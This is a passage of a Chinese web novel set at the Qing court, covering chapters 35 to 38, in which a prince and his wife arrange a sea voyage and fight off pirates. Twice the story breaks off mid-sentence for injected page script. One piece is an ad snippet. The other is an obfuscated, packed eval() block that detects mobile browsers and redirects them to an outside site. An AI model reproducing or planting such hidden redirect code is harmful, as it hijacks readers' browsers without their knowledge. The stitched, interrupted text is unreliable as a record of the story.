“可以啊,就是怎么去需要好好安排一下。”毕竟胤褆现在明面上还在禁足中,不好光明正大的出京。 【消费一波?】 舒禾抽搐着嘴角伸手戳了戳站在桌上的宝石,由衷道:“有时候我都怀疑,你是不是抽提成了,那么积极得让我在商城里面消费。” 宝石抬手揉揉腮帮,眼神一如既往的淡漠,【我要金子没用。】 言外之意就是,他不会抽提成。 “啧,你看你,都不配合我,”余光瞥见宝石张嘴欲说些什么,舒禾一抬手打断道:“算了算了,我大人有大量,不计较这些,把商城打开吧,我来消费一波。” 【……好哦。】 忽略宝石郁闷的小脸,一切都是那么美好。 舒禾哼着不成曲的调子,手指在半空中划拉两下,开始了激情下单。 船上便携大炮?买!不定什么时候就要出海,为了自己的安全,必须安排! 蒸汽火车的制作方法?略微迟疑了一会,舒禾还是下了单,权当做是为以后的领地建设做投资了。 火铳……嗯,也买。 …… 一统买买买后,舒禾成功忘了自己打开商城的目的,还是宝石看不下去提醒道,【舒禾,方案!你逛商城是买低调出京方案的!】 “啊?哦哦,差点忘了,宝石,谢了。” 将手头上最后一点金子花完后,舒禾略带忧愁地关上面板,“宝石,看在咱俩这么多年感情的份上,你能帮我个忙吗?” 这语气、这表情……十分有百分的不对劲,宝石默默提起警惕心,并没有一口答应下来。 【你先说是什么忙。】 “算了,不说了,说了你也不会帮我。” 舒禾说完,阖目等了半天都没有等到宝石的追问,反而差点把自己等睡着,一个点头猛地睁开眼睛,方才发现刚才站在桌上的小人已经不知道飞哪去了。 啧,跑得真快,原来还打算忽悠着宝石弄点金子花花呢。 希望落空,舒禾百无聊赖地伸了个懒腰,并不放在心上,拿起桌上凭空多出来的那张纸,端详片刻,确认内容记得差不多了,招呼守在门口的秋雨点燃烛火,一把火下去,连灰也不剩什么了。 翌日,两人低调的各带一个人,乘坐马车从西门出城,来到京郊处的庄子,舒舒服服地泡了温泉、跑了马、体验了生活。 休了十三天假,赶在禁足到期前卡着点回了郡王府。 府中一应事务都是在出发前安排好的,休完假回来,运转模式依旧,没有一丝主人不在家的样子。 “走了那么多天,再回来,发现还是家里面最舒服,”说到这里,胤褆顿了顿,扭头看向舒禾,微微一笑,“当然,京郊的生活也不错。” “我倒是觉得宫里面生活不错。”舒禾并没有正面回答,而是意有所指道。 “想哈拉了?” “嗯。” “明天禁足到期,你也不用陪着我一起不出门了,一早进宫给额娘请安,我等早朝结束了就过去。” “那我去准备一下明天进宫带的东西。” 舒禾一边吩咐秋雨带什么东西一边想:这么多天不见女儿,也不知道有没有缺什么东西,哎呀,不管了,都带着。 36.出海 乘坐着一辆马车、后边跟着一辆马车至午门,一大群人忙忙碌碌地抱着一大堆东西进了宫。 到了分叉口,胤褆抬手快速地在舒禾脸上揉了一把又若无其事的收回,“等会下朝了我去延禧宫找你。” 说完,胤褆飞也似地跑了,徒留舒禾在原地哀怨的看着胤褆消失的背影,咬牙小声开口:“秋雨,拿小号粉盒出来,补妆!” 该死的刚才那一下,直接把她一早辛辛苦苦涂的粉弄掉了一大片。 光看胤褆收回手时那心虚的表情,以及指尖的白色就知道,面积绝对少不了! 补完妆,一行人继续朝延禧宫走去,踪迹逐渐隐没在绿装红墙的紫禁城中。 此时,先一步离开的胤褆已经来到了日常上朝的地方,只是一进去,就感觉很是陌生。 不是半个月没来不认识各位大臣了,而是除他岳父外的那些人看他的眼神让他很陌生。 要说半个月前,因着对八旗子弟下手的缘故,这些人一个个看他的眼神都恨不得活剐了他,现在呢,一个个看他,跟看救星一样。 摸不清这半个月都发生了什么,也不好直接开口,胤褆一边瞪回去一边问身边的胤礽,“发生了什么?他们都这个眼神。” “上次扣留的那些外国人,他们国家把赎金送过来了,但是要求大清护送他们回国,要不然就联合起来搞事。 皇阿玛一看这肯定不行啊,就让大臣们集思广益,推荐护送他们回国的人,当然,明面上是出使其他国家,顺便护送他们回去。” 胤礽一点不耽搁的把事情大略讲了讲,说完见胤褆一脸若有所思的表情,皱着眉头规劝道:“孤知道你想离京,但陆上和海上到底不同,稍有不慎,便连半点踪影都留不下来。” 说着见胤褆没有半分动摇的样子,小声道:“想想惠额娘和你福晋。” “我知道。” 看着胤褆分毫未变的眼神,胤礽很想骂人,你知道个鬼啊你知道,孤看你是把话都听到鼻孔里了,一呼一吸直接吐了出去! 真就是这么多年的涵养压着,要不然…… “皇上驾到!有事启奏——无事退朝!” 尖细的嗓音刚落下,就有人迫不及待的上前,“皇上,微臣有事要奏!” “讲。” “臣等这些天集思广益,不负皇上所托,已想出可出使外国之人,就是不知可说不可说。” 一边看戏的胤褆莫名觉得浑身一凉,眯着眼看向跪在最前方的身影,这人说的最好不是他。 他可以自己想去,但不代表他愿意让人逼着去。 康熙本以为一群酒囊饭袋想不出什么人,已经准备亲自指定人了,没想到最后居然被他们想出来了一个,就是不知道是哪个倒霉蛋被推了出来。 轻咳一声,掩下幸灾乐祸的心思,一抬手,梁九功会意,高声喊道:“既已想好,可说——” “臣等举荐之人正是直郡王,一是身份尊贵,二是武艺高超……” 底下人还在说什么康熙已经听不见了,他只知道底下这帮子刁奴胆子大了,都敢对着他儿子下手了。 眼神森然注视着底下还在不停列举着胤褆出使好处的大臣,出声打断道:“胤褆,你觉得呢?” 胤褆此时脸色已经非常不好看了,这些人牵扯他就算了,还把他福晋牵扯进去,不知道男人之间的战争不祸及妻儿吗? 听到康熙问他怎么觉得,当即回道:“回皇阿玛,儿臣觉得,出使可以,但一个人太过孤单,且儿臣口才不好,需数位口才极好的大臣陪着一起前往,令还需几位大臣陪着打发时间。” 甭管是谁,举荐了爷的,都跟着爷一起走吧! 至于此举会不会导致朝堂无人可用,你看他在乎吗? 高台之上,康熙看着张口就是同意的大儿子,只当他是为了争一口气,眼神示意梁九功喊退朝,只要退了朝,他权当什么都没有听见。 至于今天的早朝这么早就散好不好?呵,都逼着他儿子出使去了,管他好不好,反正大事有折子。 只是康熙万万没想到的是,胤褆居然追着他去了御书房,还一进来就说愿意出使。 康熙头疼的揉揉眉心,“你知道你在说什么吗?” “知道啊,皇阿玛,让儿臣出使吧,好处多多啊,儿臣这一走,除了能把您看不顺眼的大臣都带走外,还能顺便出去长长见识。” “朕看你是不知道!知道海上风浪埋葬过多少人吗就敢提出去!” “哎呀皇阿玛,那不一样,现在的船已经够好了,足够支撑长时间航行,更何况,有娴熟的水手、和识路的船长在,能出什么问题?” 眼瞅着大儿子倔劲又上来了,康熙不得不采取怀柔政策,“胤褆啊胤褆,这一走一来一回至少需要两年,你舍得你额娘、孩子、福晋吗?” “额娘会理解我的,至于哈拉,她现在年纪小还不记事,等她记事了,我也就回来了,福晋的话,我得带着福晋一起啊皇阿玛,那些外国人都带走女眷航行,儿臣不能输给他们啊皇阿玛!” “滚滚滚,别叫朕皇阿玛!” “不叫也行,你同意我刚才说的。” 康熙抬手敲了敲桌面,目光阴沉,“你先回去等消息,三天内去与不去,都会给你一个信。” “行吧那,儿臣去后宫给额娘请个安再走,儿臣告退。” 胤褆刚一走,康熙就黑着脸让梁九功把今天、朝堂上说话的那个大臣叫过来,一天天的,逮着皇子下手,能耐了是吧? 不同于朝堂上鸡飞狗跳的闹腾场景,延禧宫请安外加去给皇太后请安都格外的顺利不说,还顺便看了场好戏。 惠妃和宜妃许久之前合伙埋下的雷到底是炸了,炸了德妃一个措手不及,请安时连熬夜出来的黑眼圈都没来得及遮,就那么大喇喇的露出来,看得许多人唏嘘不已。 惠妃却在私底下告诉舒禾说,“别看她现在憔悴,实际上啊,都是故意的,她这样不管是惹了皇上心疼还是惹了四阿哥不忍,最后都能达成重新复宠的目的。” 对此,舒禾表示接受良好,并再次加深了这皇宫内就没有单纯人的刻板印象。 请完安回去,小哈拉刚好起床,正被奶娘抱着在延禧宫里面转悠,一见到熟悉的人,就“啊啊啊”的叫,跟个小复读机一样。 舒禾看得心痒,和惠妃说了一声,摘掉指甲上的装饰,抱住小哈拉亲热,“哈拉,知道我是谁吗?我是额娘——是额娘哦,来,叫一声,额娘——” “啊啊啊!呃呃饿!” “哎哟,饿了?叫一声额娘,就让你去吃奶好不好?” “饿饿饿!” 惠妃看不下去舒禾这么逗孩子,出言维护,“行了,七个月多一点还不到八个月的孩子,她能会叫人吗?” “你妈妈给你求情,今天就算了,下次咱们再继续。” 说完,舒禾将小哈拉递给一边站着的奶娘,转而和惠妃说了起来。 “额娘,这次进宫我给您和哈拉带了点东西,大部分都是常见玩意,不稀奇,但是有几样,却是儿媳和胤褆特意给您找来的。” “哦?” 见惠妃很感兴趣是样子,舒禾给了秋雨一个眼神,秋雨会意,出去找了两个太监把明显与众不同的箱子抬进来,并打开盖子才退到一边。 “这些是江南那边时兴的衣裙首饰,虽说没有宫里面的精致,但也称得上是别有意趣。 这是奶瓶,在玻璃器具店专门定制的,有两个把手,给哈拉喂奶或者一些流动性强的糊糊都可以用这个。” 惠妃接过舒禾手里面的玻璃奶瓶把玩了一下,心情很好地开口,“你们有心了,翠宛,把这些衣裙首饰都带下去,这个奶瓶,去烫烫,一会就用这个喂哈拉喝水。” “对了,这奶瓶是玻璃的,易碎,哈拉年纪小,一个恐怕不够用,我这边给你拿些银子,你多定制几个送进宫来。” 舒禾闻言应了声是,内心却在吐槽,恐怕不是害怕不够用而是害怕不够摔吧。 婆媳两个又就着玻璃能够定制什么小孩用品聊了半天,胤褆寻摸过来了。 “额娘!舒禾!我来了,你们两个在这干什么呢?” 这人还没到声音传过来了,再一想胤褆这些年的离谱操作,惠妃坐不住了。 抬手扶额,难受道:“舒禾,额娘突感头疼,这样,你带着胤褆去旁边看哈拉,看完你们两个就走吧。” 没事可别再来了! “额娘,你要不见见胤褆?他在家都念叨着……” “不见不见。”都结婚了还念叨她做什么,就不能发挥发挥娶了媳妇忘了娘的美德,把她忘了吗? 实话实说,现在有乖巧听话的孙女陪着,贴心的儿媳时不时过来看一眼,掌着宫权,她这养老生活实在是舒心,真不需要一个奔着把她气入土而来的儿子。 看着惠妃逃之夭夭的背影,舒禾抽搐着嘴角,小声感慨:“这跑的可真快啊!” “舒禾,怎么就你自己?额娘呢?”胤褆在屋内环顾一圈,都没有找到该在的人影,不由得疑惑出声。 “额娘有点头疼,回去休息了,走,我带你去看看哈拉。” “这样啊,那行吧。” 一刻钟后,无良阿玛、额娘成功把自己玩得好好的哈拉逗哭了,看着哇哇大哭的小孩,舒禾和胤褆对视一眼,朝外一歪头。 “跑吗?” “跑!” 两人刚跑出延禧宫,就听身后传来一声怒吼,“胤褆!你个混账!下次再敢回来,就等死吧!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 胤褆后怕地咽了咽口水,“还好跑得快,不过,额娘这脾气,是不是越来越暴躁了?” “暴躁不暴躁的不知道,我只知道,再不走,额娘就该追出来了。” “咳咳,先声明,爷不是害怕什么,只是觉得,现在时候不早了,是时候去兵部报到了。” “嗯嗯,你不害怕,是我害怕,走吧走吧,出宫。” 出宫坐上家里面的马车,两人对视一眼,默契地把自己在宫里面的经历串了一遍。 舒禾说后宫里面的八卦时,胤褆不仅听得津津有味,还时不时评价两句。 轮到胤褆说朝堂上发生的事时,舒禾也是听得两眼放光,喝彩连连。 “好着急啊,万一皇阿玛他不同意怎么办?” “我有办法。” 舒禾闻言立马扭头看过去,“什么办法什么办法,别卖关子了,快说!” 胤褆一歪头,并不说话,直到如愿得到一个亲吻,才贱嗖嗖的吐出两个字。 “太子。” 太子?眨眼间,舒禾就想明白了里面的关窍,没忍住朝着胤褆竖起大拇指,夸奖道:“你可真是黑心,太子摊上你这么个兄弟,也是倒了八辈子霉了。” 而她就不同了,修了八辈子福缘,摊上了两个好哥哥。 “哎!谦虚——谦虚,还是谦虚点好。”胤褆强忍着笑意用手往下压了压,说完了以上一番话。 话音落地,夫妻两个对视一眼,同时爆笑出声,笑得那叫一个东歪西倒。 且不提胤礽收到胤褆来信是如何黑着脸骂骂咧咧干活的,单说康熙就并不愿意让胤褆去,哪个当爹的舍得儿子去海上博生死啊? 就算大清有再多乘船来的外国人也不行,他们不把自己的命当命,但是他把自己儿子的命当命啊! 古来大海就是人类不能轻易涉足的领地,偏偏胤褆不理解他的苦心,吵着嚷着要去。 他找外援,结果外援关注点在老大媳妇身上,丝毫不关心胤褆这个儿子,他也是真的服气了。 事情的进展充满了曲折性,但在多方,包括但不限于胤礽、了解了胤褆诉求后妥协的科尔坤、拿儿子没办法的惠妃、满朝期待送走胤褆这个祸害的大臣……等的努力下。 终于,成了! 至于那被迫携带的士兵什么的,都无所谓了。 在一个风和日丽的下午,胤褆带着舒禾一应下人,要送回去的人质,和那些坑了他一把的大臣们,出京了。 自京一路向东南走,穿过几个城市,耗时两个月来到位于福建的港口,海风的气息扑面而来,充满了自由的味道。 胤褆低头看向自家福晋,惊喜地发现舒禾也在看他,不由得灿烂一笑,“舒禾。” “嗯,我在。” “咱们马上就要出海了!” 胤褆的声音里面满是跃跃欲试的意味,他第一次见海,还是和心爱的人一起,再想想他们两个过不了多久就要登上船离开这里,前往外边的世界寻找新的领土。 一种少年意气由心而发,令看到的人不由自主地心情愉悦。 就如此刻的舒禾,她心情就很好,抬手拉住胤褆晃了晃,接话道:“皇阿玛给咱们准备了官船,等官船收拾妥当,咱们就出发。” 当然,官船只是明面上的,实际上他们出海要不了多久,她两个哥哥就会开着她的船来接应,她的船买了最先行的建造方式,可比现在还在使用的官船好多了。 “那等官船的这一段时间,我带你在附近逛逛?” 舒禾略一思索,点头答应下来,“听说这里的珍珠非常不错,可以买点送回宫给额娘,也可以捎带上船,我平时用。” “珍珠是吧?我给你买一条街的!” “行啊,到时候别让我付钱。” “舒禾~你不能这么无情。” “无情吗?我觉得还好啊。” “哼,我告诉你,再这样下去,你会失去……” 海风吹来,晕散开来两人的对话,听得随行宫人皆是没忍住会心一笑,主子感情好,他们的日子也好过不是? “没上船的伙计赶紧上,再有一刻钟船就要出发了,快快快!那边的,对,就是那么,抬东西那几个,快点!” “哎!还有你,在这耽误什么呢!不是说了让你伺候船上的贵人嘛!” “你你你,还有你,去船舱里面看看货物,抓紧时间再检查一遍。” “你,去看看水和食物……” 大船出发前的港口一片热闹景象,伴随着出行的人全部上船,有那嗓门大的船员站在船头,一声吆喝,船只正式出发。 “开船喽——启程喽——” 趁着好时机,大船开帆借风势,滑行至海中,伴随着海浪声荡开一片涟漪。 37.倭贼 船头来回穿行着忙碌着搬东西的船员,船尾则是数人拉着一张往海中下。 伴随着“一、二、三、下!”的口号声,一张捕鱼的大网被从船上扔下,因着船始终在航行的原因,被缓缓拖行开来。 船中聚集着什么都不用干的官员、人质等,胤褆和舒禾也赫然在其中。 此刻两人甩了一干伺候的宫人,避开一众同样看海的官员,来到一处僻静处,眺望着远处一望无际的大海说着漫无边际的话。 直到远处驶来一艘不大不小的船,两人方才停下刚才所说的话,对视一眼,眯着眼睛看了半晌,胤褆不确定地问道:“这是舒禾你的船?” “不是,先不说这里不是约定地点,就说这大小……” 舒禾嫌弃地瞥了一眼下面的小船,“我的船和咱们现在所乘坐的官船一样大,而且,我的命令是,正面友好交流。” 她的船才不会这样猥琐的停靠在船侧,鬼鬼祟祟的跟个小偷一样。 “那,它是谁的船?” “叫来船长问问?” “可以。” 还不等胤褆去叫人,那艘船已经近侧。 绑着绳子的三爪钩被从底下扔上来,牢牢地卡着船沿,再然后,底下船的船舱内钻出来不少人,顺着绳索开始往上爬。 这一幕落到胤褆眼里面,把他逗乐了,“我想,不用去找船长了。” “确实,这样行事,除了海上的倭贼,不做他想。” “唰!” 胤褆抽出腰间配带的宝剑,兴奋地舔舔唇角,“这样的人,杀了应该也没问题吧?” 这个问题,很明显不需要其他人回答,因为话音落地,胤褆就毫不犹豫的抬手把三角钩上绑着的绳索给砍了。 绳索一断,爬到一半的人,顿时就像饺子一样落到了海里面,从上往下看,有意思极了。 “趴下!”胤褆一边喊一边飞扑过去按住舒禾趴下。 “嗡!” 身后被射到木头上的箭还在不停颤抖着发出嗡鸣,抱着舒禾的胤褆也被气到浑身发抖。 大声朝着远处喊道:“来人!敌袭!” ‘袭’字话音还没落,人就来了一堆,还个个是身穿铠甲的士兵。 在众士兵的围绕下,胤褆扶着舒禾站起身,淡声吩咐道:“下面那艘船,拿下,留两个活口,问出具体窝点位置。” “是!” 士兵一出现,接下来就没什么看得了,完全是压倒性的胜利。 不一会就有两个身材矮小满嘴脏话的人被压着跪到了两人面前,这人说的话,胤褆实际上听不太懂,只从他们的表情上看出他们说得不是什么好话。 扶着舒禾坐到士兵新搬来的椅子上,对紧跑慢跑赶来的船长一扬下巴,“翻译一下,他们两个说了什么。” 许归来没想到出发第一天就会出事,事情还恰好出在了这位面前,暗中瞪了一眼收钱不办事的我贼一眼。 脸上堆笑,“回郡王,小的也听不懂,要不然小的去给您找个翻译?” 骂得这么脏,还个顶个挑着大福晋骂,他哪敢翻译哦! “你听不懂?” 清丽的女声响起,许归来下意识抬头看了一眼,意识到什么,立马低头,连声应是。 “你口口声声听不懂,可是他们两个……” 舒禾扫了一眼被压着跪在船板上的两人,轻笑一声,“却在口口声声指责你作为同伙不救他们呢。” 许归来还没反应过来发生了什么,就变成了第三个被按跪在地上的人。 胤褆冷着一张脸踹了一脚跪在地下的许归来,“狗奴才,再不老实说话,要你的小命!” “不不不,您不能要我的命,我是在官府登记过的船长,我死了,官府会追究的。” “呵,死到临头你提官府?” 可笑,官府就是他家的,还能抓他不成。 许归来也反应过来自己这是又犯蠢了,当下决定少说少错,接下来都不说话了,反正只要回了岸上,他自是不会有事,他身后的人会保他的! 见他一副负隅顽抗的模样,胤褆骨子里那股子犟劲也上来了,一屁股坐到舒禾旁边的椅子上,暗戳戳握住舒禾的手,一脸冷酷地吩咐道:“来人,将他扔到海水里面清醒清醒。” “郡王,另外两个?” “一起。” 不说实话,都特么泡海水去吧,修身养性久了,真以为他是好脾气的人了? 看着胤褆气呼呼的模样,舒禾忍着笑顺毛,“好了好了,不生气了,等我大哥二哥来了,我让他们一人揍那人一顿给你出气。” “咳,没生气,就是有点烦而已。” “好好好,没生气。” 受不了舒禾哄孩子一样的语气,胤褆别扭着转移话题,“对了,舒禾你是能听懂刚才你两人说的什么吗?” “嗯,我有那个计划,从下就有规划的请教书先生学了许多种语言。” “哦,那不就跟小九一样嘛,你是因为想那啥,他是因为想去外国经商。” “哗啦啦!别涮了,我交代!我都交代,啊——唰!救命!救——唔唔唔——” “差不离,”舒禾一直留意着被浸海水那三人,听那边传来求饶声,当即道:“那边好像差不多了,带过来?” “不急,这些人啊,就是嘴上说说而已,真到了问话时,却不一定老实交代,多涮会才能老实。” “哦,那就多涮会吧。” 一刻钟后,几个士兵压着已经魂都快被涮飞的几人回来按跪到地上,请示般看向胤褆,“郡王,接下来?” “按着,我问几个问题。” “是!” 其他两个倭贼的话胤褆听不懂,是以一开始问话时,就把目光投向了许归来。 “你上面的人是谁?” 许归来哆哆嗦嗦的回话,“是……是知府大人。” 知府?胤褆在脑海中过了一遍当时过来参见的地方官员,很快就锁定了是谁,暗暗记下后,继续问道:“这两个人,是你的下线?” “不不不,不是,我只是听命行事,知道他们跟知府有合作,其他的什么都不知道。” “呵,还是不老实,来人——” 想到刚才一上一下一张嘴就呛一口海水的滋味,许归来瞳孔一缩,又快又急地说道:“他们截船,所获财物一般自己留下一半运往陆上交给知府,至于知府会不会分给其他人,我就不知道了。” “官船私船都截?” “不,平时只截私船。”许归来苦笑,他要是知道他们会截这艘官船,根本就不会上这艘船当船长。 “舒禾?” “看来是有人看不惯我们了,想趁着这次出海,直接把我们留在这海上。” 舒禾垂眸幽幽的叹了一口气,想不出是谁这么想不开对他们下手。 胤褆……胤褆同样想不出,要说党羽之争,现在长成的皇阿哥里面,除了他和太子,有自己势力的寥寥无几。 那点子势力还完全在他和胤礽眼皮子底下,处于可控范围内,而且,他们根本就没有那么大力量指使这边的官员。 “大阿哥,不知道如何处理,不如交给草民二人如何?” 胤褆扭头,是明珠和索额图,这两个一辈子的宿敌,在都被他收编后,倒是关系和睦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看的舒禾成功心软,踮起脚摸摸胤褆的大脑门,“好了好了,不看他们了,回房,只看你好不好?” “好。”胤褆微微垂眸,遮掩住眼里面得逞的神色,牵着舒禾回了房。 两人的房间位于顶层,良好的采光、奢华的装饰,虽不比郡王府住的好,但有着窗外海景的加持,也算是别有风味了。 回了房,两人并没有休憩,而是就着截船这事说了起来。 “截船需要船只准备的出港时间,还要确保回去报信之人不会闹出大动静,单单一个知府,断是做不到有如此力量的,他背后定不止一人。” 舒禾抿了一口茶,就着胤褆断掉的地方接道:“而官场上最常见的就是官官相护,很有可能,这里的官员已经全员落网,没有一个好官。” 手指轻叩桌面,发出清脆的响声,胤褆拧眉思索半晌,断言道:“咱们已经出海,不好返回,陆上的事不好管,我修书一封,用信鸽带回岸上,由留守之人秘密送回京中,这事让皇阿玛头疼去吧。” “那海上呢?”舒禾追问道。 “海上的事能管,再怎么说,这些倭贼截的都是咱们大清的子民,为了以后的安定,咱们行程略慢两天,把他们海上窝点端了再走。” “船上的士兵太少,现在行动不稳妥,咱们自己人还没来,稳妥起见,等和哥哥们汇合了,再行动。” “行,那先往汇合地点赶,”突然,胤褆猛地皱起眉,“船长被抓了,还有人认路吗?” 38.一窝端 “嗯……这是个好问题。” 舒禾起身三两步走到门口拉开门,对守在门口的秋雨吩咐道:“去,问问船上的船员,航行时有几个负责认路。” “是。” 不一会功夫,秋雨就带着确切消息回来了,“回福晋,船员说,船上常跟船的都认识路,但只限于大清海域内,再外边他们就不知道了。” “嗯,你去让他们往边界线开,到了边界线就停下。” 关上门回到房内,舒禾对着胤褆比了个搞定的手势,成功收获一连串夸夸。 舒禾强压下想要上扬的嘴角,轻咳一声,“好了好了,不要夸了,我也没你说的那么好。” “可是我就是觉得舒禾最好了,按照你的说法,这是我的个人认知,不受外物改变,所以……” “咳咳,别说了,还有正事呢!” “好吧好吧。”胤褆无奈耸肩,为舒禾的容易害羞,果然还是跟他待的时间少了,再多点学了他的厚脸皮就不会这么容易害羞了。 舒禾并不知道胤褆在琢磨什么,见胤褆住了嘴,也就松了一口气,“除倭这事,还需要一个确切的计划,不能盲目地去除,造成无故的伤亡,这对咱们以后的计划……保清,你在听吗?” “嗯?在听啊,你刚才说了要有计划,放心,回头我就让明珠和索额图做它几百个,随你选。” “几百个用不着,有个两三个就够了。” “这样啊——” 不知道为什么,舒禾总觉得此刻胤褆的声音里面充满了遗憾的意味,就好像……就好像没给明珠和索额图揽到活非常不开心。 转瞬间看到胤褆的眼睛,舒禾沉默了,应该不至于有这样的主子吧? 事实证明,是有的。 胤褆阳奉阴违,说好了两三个,临到头了说的却是十个。 “十个计划也不多,你们两个分分也就一人五个,相比之前结党营私、买官卖官要干的事,这点子也就毛毛雨,所以,明天能把计划给爷吗?” “直郡王,您这……”不是难为人么? 明珠一拐手将索额图怼到一边,满脸堆笑着答应:“能给,明天一早就能给。” “行,那爷就等着你们两个的计划书了。” 胤褆走后,索额图摸着被怼到的地方嘲讽道:“给皇上当了那么多年狗没当够,这是换了个地方重操旧业?他一个郡王,你怕他什么?” “索额图,你也知道他是郡王啊!你一个草民,在郡王面前摆架子,有几个脑袋够砍?” 像是预判了索额图想说什么,明珠根本就不给他说话的机会。 “别一天天太子、太子的叫了,说句大不敬的话,就算是太子登基,称了皇上,你也回不了朝堂,因为贬你为庶民的圣旨是当今下的,现在跟着直郡王,你好歹能摆脱庶民的称呼,别人敬你一声客卿。 郡王想干的事咱们两个也都知道,若是成了,他就是大清第一个有封地的皇子,到时候咱们这些个客卿在他手底下谋个什么职位不成?” 明珠看着索额图陷入沉思的脸,幽幽的叹了一口气,“索额图啊索额图,你人是老了,但还没到老糊涂的地步,孰是孰非,自己定论吧!” “哎!你去哪?”索额图见明珠甩袖就走,一时间没反应过来直接问道。 “这船上可有不少我之前的门生,找他们帮忙做计划。” 目送明珠走远后,索额图一甩袖,也走了,跟谁没个门生似的。 不过他就说明珠这老鬼刚才怎么那么容易就答应下来了,原来是早就想好了后路,呵,果然鬼得很! 索额图说明珠鬼,实际上胤褆也不遑多让,明珠能想到的事他自然也能想到,之所以让他们做那么多事本就有为难那些官员的意思,端看明珠和索额图能不能反应过来了。 反应过来了他就不用多跑一趟,没反应过来,也就是多跑一趟的事,那些官员坑他的事,没那么容易过去。 航行两天,船只即将到达边界线,胤褆揽着舒禾的肩站在船头远眺,只见不远处正停着几条庞然大物。 离近了,看到船帆上大大的桃子,低头看了一眼怀里面的人,正好对上舒禾含笑的眼睛,胤褆不由得恍惚一瞬,直到听到舒禾的询问声才猛地回神。 “你刚才突然看着我发呆,是我穿着有什么不妥?” 说到穿着,胤褆下意识看向舒禾身上穿着的汉服,摇了摇头,“没,没什么不妥,很好看。” “是吗?我还以为你看我穿汉服,要说我不敬清朝的老祖宗呢。” “要是连穿衣服什么样都要管,我看他们也不用做老祖宗了,直接来给爷做管家的得了。” 说这话时,胤褆满脸的不屑,老祖宗怎么了,就算是他亲阿玛也管不着他福晋穿什么! 在两人说话的空挡,船只已经接近交流距离,那边传来了一阵爽朗的喊声, “小妹!舒禾!这边!” “直郡王,舒禾!” “是二哥,还有……大哥!”望着两个拼命招手的身影,舒禾脸上笑得灿烂。 看的胤褆心里一阵发酸,舒禾都没有对他这么笑过,不过那两个是亲哥哥,还算是能够接受。 眼见着福晋想和他们两个隔船对喊,胤褆对着身后一招手,“来人,架船梯。” 言罢,又俯身凑至舒禾耳边,低声道:“等上了船再聊,现在这样,太伤嗓子。” 胤褆靠得太近,说话时一股子热气直往耳朵上扑,舒禾垂在身侧的手微曲,红着耳根低低应了一声,“嗯。” 达福双手环胸,满脸不爽,看胤褆就跟看那拱自家小白菜的猪一样。 达寿想得倒是没那么多,只是单纯的沉浸在即将见到妹妹,还要和妹妹一起出海的快乐中。 过船梯搭好后,达福和达寿干脆利落地翻上船梯,来到官船上,一撩袍子刚想跪下行礼,直接就被胤褆叫了起。 能不行礼自然是好的,达福和达寿也没想着推辞,直接就起了身。 不过很快,胤褆就后悔免了他们礼了,这俩人围在他福晋身边,把他福晋包围得严严实实的,他连个手都捞摸不着,只能站在一边各种寂寞孤单。 对此,胤褆只想说,如果能够回到过去,他一定一定要让这两个不知什么叫分寸感的大舅哥滚到一边跪着去! 可惜,世上没有后悔药,就算是有,他也不敢当着舒禾的面针对他两个哥哥。 好在达福和达寿还是有分寸感的,只这么做了一会就退到了一边。 胤褆抓紧时间走到舒禾身边,牢牢占据着舒禾旁边的地方,扫视一圈周围,直接道:“换个地方聊?” “可以。”达福点头答应,见胤褆拉着舒禾转身就走,连忙拎着不知道在傻乐什么的傻弟弟跟上。 一边由于两艘大船相接而过来看热闹的众大臣对视一眼,心里面不约而同泛起了嘀咕。 他们都在疑惑,为什么大福晋的两个哥哥会在海上,有几个别有异心之人隔着人群对视一眼,总感觉事情有点超出预料了。 他们坑直郡王出海,好像间接性达成了直郡王的愿望…… “商会的船不能全部消失不见,需要留下几艘以备日常运转,所以这次一共来了六艘船。 不过私底下豢养的那些私兵,却是全带来了。” “大哥,除了私兵,货物带了吗?” 达福含笑看了一眼发问的舒禾,点点头,“放心,都带了,保证让你赚得盆满钵满。” “按照这份计划,无伤拿下窝点,有几成把握?” 听到胤褆的问话,达福瞬间收敛了脸上笑意,接过他递过来的纸张端详片刻,淡淡地吐出两个字,“九成。” “够了,”胤褆点点头,“你那边船上还有会开船的船长吗?” “有备用的,但是官船应该配了船长吧?” “船长叛变,关起来了。” 达寿一脸憨相地摸摸鼻尖,疑惑发问:“为什么不直接杀了?” “舒禾?”胤褆并没有回答他的问题,而是扭头看向舒禾,用眼神发问:你哥他这么不懂大清律法的吗? 舒禾端起茶杯掩饰抽搐的嘴角,以行动表明,别问她,她不知道。 见状,胤褆不得不收回目光,淡笑着解释道:“他属于大清子民,所犯之罪应按大清律法处置,现在是海上,没有官府,不好判他的罪,所以才先关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972858|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,回去以后再问罪。” “这样啊,那他就这样只关起来不干活了?” “不然呢?” “让他出来干活啊!不能不吃不喝养着他,大阿哥,你身为皇阿哥不知道,底层的老百姓……” 趁着胤褆被达寿那个白切黑绊住,达福趁机将写好的纸条塞给舒禾,并给了他一个眼神,示意她先藏起来,一个人的时候再看。 舒禾垂眸收手,就这样在胤褆眼皮子底下完成了信息传递。 一旁的达寿收到达福收手的眼神后,顺势结束了话题。 达福则是装作若无其事地接话,“这倭贼的窝点就在不远处一处岛屿之上,按照大船的航速,三个时辰恰好到,届时天色昏沉,正是咱们出手的好时机。” “如此,就吩咐船往那边开吧。” “是,我们二人这就出去吩咐下面人准备起来。” 待到达福和达寿离开,胤褆突然叹了一口气,幽幽地盯着房门,“舒禾,你这两个哥哥,不老实啊——” 